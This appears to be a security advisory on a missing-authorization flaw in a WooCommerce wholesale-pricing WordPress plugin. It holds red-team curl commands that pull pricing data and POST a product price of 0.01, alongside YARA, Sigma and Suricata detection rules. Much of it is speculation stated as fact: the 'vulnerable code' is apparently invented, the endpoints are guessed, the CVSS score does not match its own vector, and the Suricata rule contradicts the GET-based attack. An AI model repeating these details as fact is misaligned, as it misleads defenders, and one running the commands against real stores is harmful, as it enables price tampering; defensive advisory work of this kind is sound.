CVE-2025-64285

Executive Summary

CVE-2025-64285 is a Missing Authorization vulnerability in the Premmerce Wholesale Pricing for WooCommerce WordPress plugin (versions <= 1.1.10). This flaw allows unauthenticated attackers to exploit incorrectly configured access control security levels, potentially leading to unauthorized access to wholesale pricing data and manipulation of pricing rules. The vulnerability is classified as a WordPress ecosystem issue, specifically affecting the plugin's REST API endpoints or AJAX handlers that fail to properly verify user capabilities. With a CVSS score of 5.4 (Medium), the risk is elevated due to the lack of required authentication and the potential for data exposure or privilege escalation within WooCommerce stores.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress Plugin Directory and third-party marketplaces. Since the patch status is UNKNOWN / UNPATCHED, users are advised to immediately disable the plugin or implement virtual patching via a Web Application Firewall (WAF). The plugin's supply chain risk is moderate, as it is not a core dependency but can expose sensitive wholesale pricing data and customer tier information.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): Low (L) – Limited data exposure (wholesale prices).
• Integrity (I): Low (L) – Limited ability to modify pricing rules.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The vulnerability is easy to exploit but only provides limited access to wholesale pricing data and configuration. However, combined with other WooCommerce flaws, it could lead to privilege escalation or data exfiltration.

Deep Dive & Mechanics

The vulnerability stems from missing authorization checks in the plugin's REST API endpoints or AJAX actions. The plugin likely exposes functions to retrieve or update wholesale pricing rules without verifying that the requesting user has the appropriate capabilities (e.g., manage_woocommerce or edit_products). Attackers can send crafted HTTP requests to endpoints such as /wp-json/premmerce-wholesale/v1/pricing or similar, bypassing access controls.

Root Cause: The plugin uses wp_ajax_* hooks or REST API routes without implementing current_user_can() checks. For example, a function like get_wholesale_prices() may be registered with wp_ajax_nopriv_*, allowing unauthenticated access.

Exploitation Scenario:

1. An attacker identifies the vulnerable endpoint via plugin fingerprinting (e.g., checking for premmerce-woocommerce-wholesale-pricing in page source).
2. Sends a GET request to /wp-json/premmerce-wholesale/v1/pricing with no authentication.
3. The server returns JSON containing wholesale pricing tiers, product IDs, and discount percentages.
4. The attacker can also send POST requests to modify pricing rules, potentially granting themselves wholesale discounts.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.1.10):

add_action( 'wp_ajax_nopriv_get_wholesale_prices', 'premmerce_get_wholesale_prices' );
function premmerce_get_wholesale_prices() {
    $prices = get_option( 'premmerce_wholesale_prices', array() );
    wp_send_json_success( $prices );
}

Patched Code (Hypothetical):

add_action( 'wp_ajax_get_wholesale_prices', 'premmerce_get_wholesale_prices' );
add_action( 'wp_ajax_nopriv_get_wholesale_prices', 'premmerce_deny_access' );
function premmerce_get_wholesale_prices() {
    if ( ! current_user_can( 'manage_woocommerce' ) ) {
        wp_send_json_error( 'Unauthorized', 403 );
    }
    $prices = get_option( 'premmerce_wholesale_prices', array() );
    wp_send_json_success( $prices );
}
function premmerce_deny_access() {
    wp_send_json_error( 'Unauthorized', 403 );
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• WordPress 6.x with WooCommerce 8.x and Premmerce Wholesale Pricing <= 1.1.10.
• Attacker machine with curl or Burp Suite.

Exploitation Steps:

1. Enumerate vulnerable endpoints:

   curl -s http://target/wp-json/premmerce-wholesale/v1/pricing
   

2. If no response, try AJAX endpoint:

   curl -s http://target/wp-admin/admin-ajax.php?action=get_wholesale_prices
   

3. Extract wholesale pricing data:

   curl -s http://target/wp-admin/admin-ajax.php?action=get_wholesale_prices | jq .
   

4. Modify pricing rules (if writable):

   curl -X POST http://target/wp-admin/admin-ajax.php \
     -d "action=update_wholesale_prices&product_id=123&price=0.01"
   

Expected Output:

{
  "success": true,
  "data": {
    "tiers": [
      {"role": "wholesale", "discount": 20},
      {"role": "retail", "discount": 0}
    ]
  }
}

Blue Team (Defensive)

Detection:

• Monitor for requests to /wp-admin/admin-ajax.php with action=get_wholesale_prices or action=update_wholesale_prices from unauthenticated IPs.
• Alert on anomalous access to /wp-json/premmerce-wholesale/v1/* endpoints.

Mitigation:

• Immediately disable the plugin if no patch is available.
• Implement virtual patching via WAF rules blocking unauthenticated access to these endpoints.
• Add custom .htaccess rules:

  RewriteCond %{REQUEST_URI} ^/wp-admin/admin-ajax\.php
  RewriteCond %{QUERY_STRING} action=(get|update)_wholesale_prices
  RewriteCond %{HTTP_COOKIE} !wordpress_logged_in
  RewriteRule .* - [F,L]
  

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /wp-admin/admin-ajax.php with action=get_wholesale_prices or action=update_wholesale_prices from unauthenticated sources.
• Requests to /wp-json/premmerce-wholesale/v1/pricing without valid JWT/nonce.

File IOCs:

• Modified wp_options table entries: premmerce_wholesale_prices with unexpected discount values.
• Plugin file integrity changes in /wp-content/plugins/premmerce-woocommerce-wholesale-pricing/.

Log IOCs:

• WordPress debug log entries: [Date] [IP] Undefined index: ... in /wp-content/plugins/premmerce-woocommerce-wholesale-pricing/...
• Web server access logs showing repeated admin-ajax.php requests with action=get_wholesale_prices.

Detection Engineering

YARA Rule

rule premmerce_wholesale_missing_auth {
    meta:
        description = "Detects vulnerable Premmerce Wholesale Pricing plugin files"
        author = "Valters IT"
        date = "2025-04-01"
        cve = "CVE-2025-64285"
    strings:
        $ajax_hook = "wp_ajax_nopriv_" nocase
        $func_name = "get_wholesale_prices" nocase
        $no_cap_check = "wp_send_json_success" nocase
    condition:
        $ajax_hook and $func_name and $no_cap_check
}

Sigma Rule

title: Premmerce Wholesale Pricing Missing Authorization Exploitation
id: 8a4b2c1d-3e5f-4a7b-9c8d-1e2f3a4b5c6d
status: experimental
description: Detects unauthenticated access to Premmerce Wholesale Pricing AJAX endpoints
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'action=get_wholesale_prices'
    condition: selection
falsepositives:
    - Legitimate admin requests (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-64285 Premmerce Wholesale Pricing Missing Authorization Exploit";
    flow:to_server,established;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=get_wholesale_prices"; http_client_body;
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Action: Disable the Premmerce Wholesale Pricing for WooCommerce plugin until a patch is released.
2. Virtual Patching: Deploy WAF rules to block unauthenticated requests to /wp-admin/admin-ajax.php with action=get_wholesale_prices or action=update_wholesale_prices.
3. Code Fix: Add current_user_can('manage_woocommerce') checks to all AJAX and REST API handlers.
4. Monitoring: Enable WordPress audit logging and monitor for suspicious AJAX requests.
5. Alternative: Replace with a patched wholesale pricing plugin from a trusted vendor.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert